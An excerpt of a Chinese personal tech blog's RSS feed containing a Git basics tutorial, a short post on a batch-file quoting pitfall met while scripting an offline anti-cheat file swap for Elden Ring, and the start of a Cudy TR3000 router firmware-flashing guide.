&lt;p&gt;直接从Git官网直接&lt;a href=&quot;https://git-scm.com/downloads/win&quot;&gt;下载安装程序&lt;/a&gt;，然后按默认选项安装即可。安装完成后，在命令行中输入git，返回信息未安装成功&lt;/p&gt;
&lt;h3&gt;2.3.配置Git&lt;/h3&gt;
&lt;p&gt;安装好Git后，还需要最后一步设置，在命令行输入：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git config --global user.name &quot;Your Name&quot;
git config --global user.email &quot;email@example.com&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看&lt;code&gt;git config&lt;/code&gt; 配置信息：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git config --list
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;注意&lt;code&gt;git config&lt;/code&gt;命令的&lt;code&gt;--global&lt;/code&gt;参数为全局参数，表示你这台机器上所有的Git仓库都会使用这个配置，当然也可以对某个仓库指定不同的用户名和Email地址。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Git 的配置优先级：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;system&lt;/strong&gt;（系统级）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;global&lt;/strong&gt;（当前用户级）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;local&lt;/strong&gt;（当前仓库级，优先级最高）&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;3.创建版本库&lt;/h2&gt;
&lt;p&gt;什么是版本库呢？版本库又名仓库(Repository)，可以理解为一个目录，在这个目录中所有的文件都会被Git管理起来，每个文件的改动，都可以被Git跟踪，或者可以还原。&lt;/p&gt;
&lt;h3&gt;3.1.创建仓库&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;git init &amp;lt;目录&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3.2.克隆仓库&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;git clone &amp;lt;仓库地址&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;4.工作区和文件状态&lt;/h2&gt;
&lt;p&gt;Git有三个主要区域：工作区、暂存区和本地仓库，它们定义了文件的不同状态。文件在工作区中修改，可以通过 &lt;code&gt;git add&lt;/code&gt; 命令将其添加到暂存区，最后通过&lt;code&gt;git commit&lt;/code&gt;将暂存区的修改提交到本地仓库。&lt;/p&gt;
&lt;h3&gt;4.1.文件状态&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;未跟踪（untracked）&lt;/strong&gt;: Git仓库尚未管理的文件，通常是新添加的文件。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;已修改（modified）&lt;/strong&gt;: 文件已被修改但尚未添加到暂存区。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;已暂存（staged）&lt;/strong&gt;: 文件已经被添加到暂存区，并已包含在下一次提交的快照中。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;已提交（committed）&lt;/strong&gt;: 文件已被永久保存在本地仓库中。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4.2.工作区域&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;工作区 (Working Directory)&lt;/strong&gt;: 你直接进行编辑和修改的项目文件所在地。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;暂存区 (Staging Area)&lt;/strong&gt;: 一个中间区域，用于存放你打算在下一次提交时包含的文件列表。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;本地仓库 (Repository)&lt;/strong&gt;: 存储了所有已提交版本的数据的区域，也就是 &lt;code&gt;.git&lt;/code&gt; 目录。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4.3.查看暂存区中的内容&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;git ls-files
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;5.添加和提交文件&lt;/h2&gt;
&lt;h3&gt;5.1.常用命令&lt;/h3&gt;
&lt;h4&gt;1）添加文件&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;git add &amp;lt;file&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2）提交文件&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;git commit -m &amp;lt;message&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3）查看仓库状态&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;git status
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;4）查看文件差异&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;git diff &amp;lt;file&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;5）查看提交记录&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;git log 	# 查看提交记录
git log --oneline	# 查看简洁的提交记录
git log --pretty=oneline
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;6. 版本回退&lt;/h2&gt;
&lt;p&gt;在Git中，用&lt;code&gt;HEAD&lt;/code&gt;表示当前版本,上一个版本就是&lt;code&gt;HEAD^&lt;/code&gt;，上上一个版本就是&lt;code&gt;HEAD^^&lt;/code&gt;，当然往上100个版本写100个&lt;code&gt;^&lt;/code&gt;比较容易数不过来，所以写成&lt;code&gt;HEAD~100&lt;/code&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ git reset --hard HEAD^
HEAD is now at e475afc add distributed
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看历史操作，使用 &lt;code&gt;git reset --hard commit id&lt;/code&gt;  回退到之前的版本。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ git reflog
90244a0 (HEAD -&amp;gt; master) HEAD@{0}: reset: moving to HEAD^
7c524f7 HEAD@{1}: commit: append GPL
90244a0 (HEAD -&amp;gt; master) HEAD@{2}: commit: add distributed
3730607 HEAD@{3}: commit (initial): wrote a readme file
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;6.1.工作区和暂存区&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;工作区&lt;/strong&gt;（Working Directory）：就是你在电脑里能看到的目录，比如我的&lt;code&gt;learngit&lt;/code&gt;文件夹就是一个工作区。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;暂存区&lt;/strong&gt;：在工作区的隐藏目录 &lt;code&gt;.git&lt;/code&gt; 中, 存放了当前仓库的版本库，版本库中最重要的就是称为&lt;strong&gt;stage&lt;/strong&gt;（或者叫index）的&lt;strong&gt;暂存区&lt;/strong&gt;  ，提交的文件会先被放入到暂存区中，在提交是会被一次性提交。&lt;/p&gt;
&lt;h3&gt;6.2.撤销修改&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;git checkout -- &amp;lt;file&amp;gt;&lt;/code&gt; 可以丢弃工作区的修改。其中分为两种情况：一种是 &lt;code&gt;file&lt;/code&gt; 在修改前没有没存放到暂存区中，撤销后文件回到上个版本。另一种是 &lt;code&gt;file&lt;/code&gt; 已经添加到暂存区后，又进行了修改，撤销后会回退到和暂存区状态一样的版本。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ git checkout -- readme.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当已经将错误的修改提交到暂存区时该如何修改，我们可以回退到现在的版本即可。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git reset --hard HEAD
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;6.3.版本回退命令总结&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;回退版本&lt;/strong&gt;：&lt;code&gt;git reset --hard &amp;lt;commit ID&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;回退到上个版本&lt;/strong&gt;：&lt;code&gt;git reset --hard HEAD^&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;查看历史操作&lt;/strong&gt;：&lt;code&gt;git reflog&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;7.远程仓库&lt;/h2&gt;
&lt;h3&gt;7.1.创建SSH Key&lt;/h3&gt;
&lt;p&gt;ssh key 通常存放在用户主目录下的 .&lt;code&gt;ssh&lt;/code&gt; 目录中&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh-keygen -t rsa -C &quot;youremail@example.com&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;创建完成后会在用户主目录下的 .&lt;code&gt;ssh&lt;/code&gt; 目录中会有&lt;code&gt;id_rsa&lt;/code&gt;和&lt;code&gt;id_rsa.pub&lt;/code&gt;两个文件，&lt;code&gt;id_rsa&lt;/code&gt;是私钥，不能泄露出去，&lt;code&gt;id_rsa.pub&lt;/code&gt;是公钥，可以放心地告诉任何人。&lt;/p&gt;
&lt;h4&gt;7.1.1上传公钥给Github&lt;/h4&gt;
&lt;p&gt;点击你的头像 --&amp;gt; Settings --&amp;gt; SSH and GPG keys --&amp;gt; New SSH key&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Git%E5%9F%BA%E7%A1%80%E6%93%8D%E4%BD%9C/image-20251118150733912.png&quot; alt=&quot;image-20251118150733912&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;7.1.2.配置Git强制使用刚才创建的SSH key[选做]&lt;/h4&gt;
&lt;p&gt;在 &lt;code&gt;~/.ssh/config&lt;/code&gt; 中写入：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Host github.com
    HostName github.com
    User git
    IdentityFile ~/.ssh/id_rsa
    IdentitiesOnly yes
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;7.1.3.测试SSH 能否正常连接&lt;/h4&gt;
&lt;p&gt;第一次会提示 &lt;code&gt;Are you sure you want to continue connecting (yes/no)?&lt;/code&gt;，输入 &lt;code&gt;yes&lt;/code&gt; 后，如果密钥正确并且 GitHub 账号已绑定公钥，会返回类似：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PS C:\Users\Owen_W&amp;gt; ssh -T git@github.com
Hi Owenwoow! You&apos;ve successfully authenticated, but GitHub does not provide shell access.
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;-T	Disable pseudo-terminal allocation. （不分配伪终端，只进行认证）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;7.2.添加远程仓库&lt;/h3&gt;
&lt;p&gt;首先，登陆GitHub，然后，在右上角找到加号点击“New repository”按钮，创建一个新的仓库：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Git%E5%9F%BA%E7%A1%80%E6%93%8D%E4%BD%9C/image-20251118154955271.png&quot; alt=&quot;image-20251118154955271&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在Repository name填入&lt;code&gt;learngit&lt;/code&gt;，其他保持默认设置，点击“Create repository”按钮，就成功地创建了一个新的Git仓库：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Git%E5%9F%BA%E7%A1%80%E6%93%8D%E4%BD%9C/image-20251118155220369.png&quot; alt=&quot;image-20251118155220369&quot; /&gt;&lt;/p&gt;
&lt;p&gt;目前，在GitHub上的这个 &lt;code&gt;learngit&lt;/code&gt; 仓库还是空的，GitHub告诉我们，可以从这个仓库克隆出新的仓库，也可以把一个已有的本地仓库与之关联，然后，把本地仓库的内容推送到GitHub仓库。&lt;/p&gt;
&lt;p&gt;现在，我们根据GitHub的提示，在本地的&lt;code&gt;learngit&lt;/code&gt;仓库下运行命令：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ git remote add origin https://github.com/Owenwoow/learngit.git
$ git branch -M main
$ git push -u origin main
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;添加后，远程库的名字就是&lt;code&gt;origin&lt;/code&gt;，这是Git默认的叫法，也可以改成别的，但是&lt;code&gt;origin&lt;/code&gt;这个名字一看就知道是远程库。然后，就可以把本地库的所有内容推送到远程库上。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ git branch -M main
$ git push -u origin main
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;简单讲解一些这两条参数:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;git branch -M main&lt;/code&gt; 将当前分支强制重置为main。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;git push -u origin main&lt;/code&gt; 这是一个&lt;strong&gt;推送分支到远程仓库并设置 upstream&lt;/strong&gt; 的命令。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;-u&lt;/code&gt;：为本地分支设置上游（upstream），即在未来使用 &lt;code&gt;git push&lt;/code&gt;、&lt;code&gt;git pull&lt;/code&gt; 时不需要再指定 origin main，&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;origin&lt;/code&gt;：远程仓库的名称（默认）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;main&lt;/code&gt;：要推送的分支名称。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如此我们就将本地仓库推送到了Github上，在GitHub页面中看到远程库的内容已经和本地一模一样的内容。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Git%E5%9F%BA%E7%A1%80%E6%93%8D%E4%BD%9C/image-20251118155546727.png&quot; alt=&quot;image-20251118155546727&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;7.3.SSH警告&lt;/h3&gt;
&lt;p&gt;当你第一次使用Git的&lt;code&gt;clone&lt;/code&gt;或者&lt;code&gt;push&lt;/code&gt;命令连接GitHub时，会得到一个警告：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;The authenticity of host &apos;github.com (xx.xx.xx.xx)&apos; can&apos;t be established.
RSA key fingerprint is xx.xx.xx.xx.xx.
Are you sure you want to continue connecting (yes/no)?
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这是因为Git使用SSH连接，而SSH连接在第一次验证GitHub服务器的Key时，需要你确认GitHub的Key的指纹信息是否真的来自GitHub的服务器，输入&lt;code&gt;yes&lt;/code&gt;回车即可。&lt;/p&gt;
&lt;p&gt;Git会输出一个警告，告诉你已经把GitHub的Key添加到本机的一个信任列表里了：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Warning: Permanently added &apos;github.com&apos; (RSA) to the list of known hosts.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个警告只会出现一次，后面的操作就不会有任何警告了。&lt;/p&gt;
&lt;h3&gt;7.4.删除远程库&lt;/h3&gt;
&lt;p&gt;如果添加的时候地址写错了，或者就是想删除远程库，可以用&lt;code&gt;git remote rm &amp;lt;name&amp;gt;&lt;/code&gt;命令。使用前，建议先用&lt;code&gt;git remote -v&lt;/code&gt;查看远程库信息：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ git remote -v
origin  git@github.com:Owenwoow/learngit.git (fetch)
origin  git@github.com:Owenwoow/learngit.git (push)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后，根据名字删除，比如删除&lt;code&gt;origin&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ git remote rm origin
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此处的“删除”其实是解除了本地和远程的绑定关系，并不是物理上删除了远程库。远程库本身并没有任何改动。要真正删除远程库，需要登录到GitHub，在后台页面找到删除按钮再删除。&lt;/p&gt;
&lt;h3&gt;7.5.克隆远程仓库&lt;/h3&gt;
&lt;p&gt;从远程仓库 &lt;code&gt;git clone&lt;/code&gt; 下来的仓库&lt;strong&gt;已经自动绑定了远程仓库&lt;/strong&gt;，并且默认把远程仓库命名为 &lt;code&gt;origin&lt;/code&gt;，所有我们只需要输入以下命令即可：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git clone git@github.com:Owenwoow/learngit.git
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Git%E5%9F%BA%E7%A1%80%E6%93%8D%E4%BD%9C/image-20251118161356568.png&quot; alt=&quot;image-20251118161356568&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;8.分支管理&lt;/h2&gt;
&lt;h3&gt;8.1.创建与合并分支&lt;/h3&gt;
&lt;h4&gt;分支的原理&lt;/h4&gt;
&lt;p&gt;首先我们需要理清Git的存储方式，每次提交，Git都把它们串成一条时间线，这条时间线就是一个分支。截止到目前，只有一条时间线，在Git里，这个分支叫主分支，即&lt;code&gt;master&lt;/code&gt;分支。&lt;code&gt;HEAD&lt;/code&gt;严格来说不是指向提交，而是指向&lt;code&gt;master&lt;/code&gt;，&lt;code&gt;master&lt;/code&gt;才是指向提交的，所以，&lt;code&gt;HEAD&lt;/code&gt;指向的就是当前分支。&lt;/p&gt;
&lt;p&gt;一开始的时候，&lt;code&gt;master&lt;/code&gt;分支是一条线，Git用&lt;code&gt;master&lt;/code&gt;指向最新的提交，再用&lt;code&gt;HEAD&lt;/code&gt;指向&lt;code&gt;master&lt;/code&gt;，就能确定当前分支，以及当前分支的提交点：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;                  HEAD
                    │
                    ▼
                 master
                    │
                    ▼
┌───┐    ┌───┐    ┌───┐
│   │───▶│   │───▶│   │
└───┘    └───┘    └───┘
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;每次提交，&lt;code&gt;master&lt;/code&gt;分支都会向前移动一步，这样，随着你不断提交，&lt;code&gt;master&lt;/code&gt;分支的线也越来越长。&lt;/p&gt;
&lt;p&gt;当我们创建新的分支，例如&lt;code&gt;dev&lt;/code&gt;时，Git新建了一个指针叫&lt;code&gt;dev&lt;/code&gt;，指向&lt;code&gt;master&lt;/code&gt;相同的提交，再把&lt;code&gt;HEAD&lt;/code&gt;指向&lt;code&gt;dev&lt;/code&gt;，就表示当前分支在&lt;code&gt;dev&lt;/code&gt;上：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;                 master
                    │
                    ▼
┌───┐    ┌───┐    ┌───┐
│   │───▶│   │───▶│   │
└───┘    └───┘    └───┘
                    ▲
                    │
                   dev
                    ▲
                    │
                  HEAD
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;你看，Git创建一个分支很快，因为除了增加一个&lt;code&gt;dev&lt;/code&gt;指针，改改&lt;code&gt;HEAD&lt;/code&gt;的指向，工作区的文件都没有任何变化！&lt;/p&gt;
&lt;p&gt;不过，从现在开始，对工作区的修改和提交就是针对&lt;code&gt;dev&lt;/code&gt;分支了，比如新提交一次后，&lt;code&gt;dev&lt;/code&gt;指针往前移动一步，而&lt;code&gt;master&lt;/code&gt;指针不变：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;                 master
                    │
                    ▼
┌───┐    ┌───┐    ┌───┐    ┌───┐
│   │───▶│   │───▶│   │───▶│   │
└───┘    └───┘    └───┘    └───┘
                             ▲
                             │
                            dev
                             ▲
                             │
                           HEAD
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;假如我们在&lt;code&gt;dev&lt;/code&gt;上的工作完成了，就可以把&lt;code&gt;dev&lt;/code&gt;合并到&lt;code&gt;master&lt;/code&gt;上。Git怎么合并呢？最简单的方法，就是直接把&lt;code&gt;master&lt;/code&gt;指向&lt;code&gt;dev&lt;/code&gt;的当前提交，就完成了合并：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;                           HEAD
                             │
                             ▼
                          master
                             │
                             ▼
┌───┐    ┌───┐    ┌───┐    ┌───┐
│   │───▶│   │───▶│   │───▶│   │
└───┘    └───┘    └───┘    └───┘
                             ▲
                             │
                            dev
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以Git合并分支也很快！就改改指针，工作区内容也不变！&lt;/p&gt;
&lt;p&gt;合并完分支后，甚至可以删除&lt;code&gt;dev&lt;/code&gt;分支。删除&lt;code&gt;dev&lt;/code&gt;分支就是把&lt;code&gt;dev&lt;/code&gt;指针给删掉，删掉后，我们就剩下了一条&lt;code&gt;master&lt;/code&gt;分支：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;                           HEAD
                             │
                             ▼
                          master
                             │
                             ▼
┌───┐    ┌───┐    ┌───┐    ┌───┐
│   │───▶│   │───▶│   │───▶│   │
└───┘    └───┘    └───┘    └───┘
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Git分支管理相关命令:&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;查看分支&lt;/strong&gt;：&lt;code&gt;git branch&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;创建分支&lt;/strong&gt;：&lt;code&gt;git branch &amp;lt;name&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;切换分支&lt;/strong&gt;：&lt;code&gt;git checkout &amp;lt;name&amp;gt;&lt;/code&gt;  /  &lt;code&gt;git switch &amp;lt;name&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;创建+切换分支&lt;/strong&gt;：&lt;code&gt;git checkout -b &amp;lt;name&amp;gt;&lt;/code&gt;  /  &lt;code&gt;git switch -c &amp;lt;name&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;合并某分支到当前分支&lt;/strong&gt;：&lt;code&gt;git merge &amp;lt;name&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;删除分支&lt;/strong&gt;：&lt;code&gt;git branch -d &amp;lt;name&amp;gt;&lt;/code&gt;  /  &lt;code&gt;git checkout -d &amp;lt;name&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;注意: 到切换分支使用&lt;code&gt;git checkout &amp;lt;branch&amp;gt;&lt;/code&gt;，和撤销修改则是&lt;code&gt;git checkout -- &amp;lt;file&amp;gt;&lt;/code&gt;，同一个命令，有两种作用，确实有点令人迷惑。因此，最新版本的Git提供了新的&lt;code&gt;git switch&lt;/code&gt;命令来切换分支。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;8.2.解决冲突&lt;/h3&gt;
&lt;p&gt;主分支和其他分支都添加了commit的情况下合并会产出异常，git会将两个版本的文件区别添加到文件中你需要手动修改。在这过程中可以使用gti status 来查看冲突文件，修改后重新提交。&lt;/p&gt;
&lt;p&gt;用带参数的&lt;code&gt;git log&lt;/code&gt;也可以看到分支的合并情况：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ git log --graph --pretty=oneline --abbrev-commit
*   3e55018 (HEAD -&amp;gt; main) conflict fixed
|\
| * c2e37d1 (feature1) AND simple
* | cadec8c &amp;amp; simple
|/
* a8bf546 branch test
* 7a66518 (origin/main) hello
* a2ae1d7 add test.txt
* 7c524f7 append GPL
* 90244a0 add distributed
* 3730607 wrote a readme file
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;等待更新...&lt;/p&gt;
&lt;h2&gt;参考文献：&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://liaoxuefeng.com/books/git/introduction/index.html&quot;&gt;简介 - Git教程 - 廖雪峰的官方网站&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.bilibili.com/video/BV1HM411377j/?spm_id_from=333.1387.favlist.content.click&amp;amp;vd_source=fb8eb6dfcbd71299a284e8d99e7ec589&quot;&gt;【GeekHour】一小时Git教程_哔哩哔哩_bilibili&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>记一次bat脚本撰写：方便的替换艾尔登法环反作弊文件</title><link>https://blog.owenwoow.com/posts/2025/10/26/%E8%AE%B0%E4%B8%80%E6%AC%A1bat%E8%84%9A%E6%9C%AC%E6%92%B0%E5%86%99%E6%96%B9%E4%BE%BF%E7%9A%84%E6%9B%BF%E6%8D%A2%E8%89%BE%E5%B0%94%E7%99%BB%E6%B3%95%E7%8E%AF%E5%8F%8D%E4%BD%9C%E5%BC%8A%E6%96%87%E4%BB%B6/</link><guid isPermaLink="true">https://blog.owenwoow.com/posts/2025/10/26/%E8%AE%B0%E4%B8%80%E6%AC%A1bat%E8%84%9A%E6%9C%AC%E6%92%B0%E5%86%99%E6%96%B9%E4%BE%BF%E7%9A%84%E6%9B%BF%E6%8D%A2%E8%89%BE%E5%B0%94%E7%99%BB%E6%B3%95%E7%8E%AF%E5%8F%8D%E4%BD%9C%E5%BC%8A%E6%96%87%E4%BB%B6/</guid><description>记录了为了解决艾尔登法环（Elden Ring）频繁切换反作弊文件（小蓝熊）以实现作弊与联机功能切换的问题，撰写bat脚本的完整过程，以及过程中遇到的括号闭合陷阱。</description><pubDate>Sun, 26 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;起因&lt;/h2&gt;
&lt;p&gt;起初是因为在玩艾尔登法环的时候想从战士转成法师玩玩，这就需要修改属性。但是法环中修改玩家属性不是无限次的，此时我就想到要用&lt;strong&gt;风灵月影&lt;/strong&gt;来修改玩家的属性。&lt;/p&gt;
&lt;p&gt;因为启动&lt;strong&gt;风灵月影&lt;/strong&gt;需要替换掉本体的小蓝熊，&lt;strong&gt;所以&lt;/strong&gt;换成破解版的小蓝熊后法环就变成了离线模式，无法查看玩家的&lt;strong&gt;留言&lt;/strong&gt;，这也就损失掉了游戏的一大乐趣。因此我就需要频繁替换游戏文件，作为懒人，&lt;strong&gt;我当然要解决&lt;/strong&gt;这个问题，&lt;strong&gt;所以&lt;/strong&gt;我&lt;strong&gt;决定&lt;/strong&gt;写一个bat脚本来解决这个问题。&lt;/p&gt;
&lt;h2&gt;途中踩到的坑&lt;/h2&gt;
&lt;p&gt;在第一版的代码中，我一直不能成功执行替换文件的命令，但是改为 &lt;code&gt;echo &quot;....&quot;&lt;/code&gt;就可以成功执行。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if &quot;!type!&quot;==&quot;original&quot; (
    echo 是否替换为【破解版反作弊】？(y/n)
	........
    )
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;原因&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;括号 &lt;code&gt;()&lt;/code&gt; 的作用：&lt;/strong&gt; 在批处理脚本中，括号用于&lt;strong&gt;命令块（Code Block）&lt;/strong&gt;。你的 &lt;code&gt;if&lt;/code&gt; 和 &lt;code&gt;else if&lt;/code&gt; 语句后面都跟了一个 &lt;code&gt;(...)&lt;/code&gt; 块，意思是“如果条件为真，则执行括号里的 &lt;em&gt;所有&lt;/em&gt; 命令”。&lt;/li&gt;
&lt;li&gt;去掉引号后，  echo 是否替换为【破解版反作弊】？(y/n) 中的 &lt;code&gt;)&lt;/code&gt; 提前闭合了 if 的 &lt;code&gt;(&lt;/code&gt; ，导致程序结束从而无法执行后续的代码。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;正确的做法&lt;/h3&gt;
&lt;p&gt;使用&lt;strong&gt;转义字符 &lt;code&gt;^&lt;/code&gt;&lt;/strong&gt; 来告诉解析器“这个括号不是语法，只是一个普通字符”：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo 是否替换为【原版防护】？ ^（y/n^）
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;注意：转义全角括号 &lt;code&gt;（）&lt;/code&gt; 的行为可能因系统环境而异，转义半角括号 &lt;code&gt;()&lt;/code&gt; 是标准做法：&lt;code&gt;echo ... ^(y/n^)&lt;/code&gt;。&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;但显然，这远不如直接加双引号来得清晰明了。&lt;/p&gt;
</content:encoded></item><item><title>Cudy_tr3000 刷机教程</title><link>https://blog.owenwoow.com/posts/2025/10/02/cudy_tr3000%E5%88%B7%E6%9C%BA%E6%95%99%E7%A8%8B/</link><guid isPermaLink="true">https://blog.owenwoow.com/posts/2025/10/02/cudy_tr3000%E5%88%B7%E6%9C%BA%E6%95%99%E7%A8%8B/</guid><description>Cudy TR3000 便携式路由器刷入 ImmortalWrt 大功率固件的详细图文教程。</description><pubDate>Thu, 02 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;概述：&lt;/h2&gt;
&lt;p&gt;本次刷入的固件为恩山237大佬的 &lt;strong&gt;0702-cudy immortalwrt 24.10闭源无线大功率固件&lt;/strong&gt;。在刷机过程中涉及的全部固件将统一打包并上传至网盘，以便大家后续查阅和下载。同时，文章中使用到的&lt;strong&gt;所有项目地址&lt;/strong&gt;和本文作者&lt;strong&gt;整理好的所有固件包&lt;/strong&gt;均会在文章底部的&lt;strong&gt;参考连接&lt;/strong&gt;部分进行整理与列出。&lt;/p&gt;
&lt;h2&gt;一、刷入过度包&lt;/h2&gt;
&lt;h4&gt;1.下载OpenWrt的升级镜像包（cudy_tr3000-v1-sysupgrade.bin）&lt;/h4&gt;
&lt;p&gt;&lt;a href=&quot;https://openwrt.org/toh/views/toh_fwdownload&quot;&gt;OpenWrt Wiki] Table of Hardware: Firmware downloads&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/TR3000%E5%88%B7%E6%9C%BA%E6%95%99%E7%A8%8B/image-20250917180422145.png&quot; alt=&quot;image-20250917180422145&quot; /&gt;&lt;/p&gt;
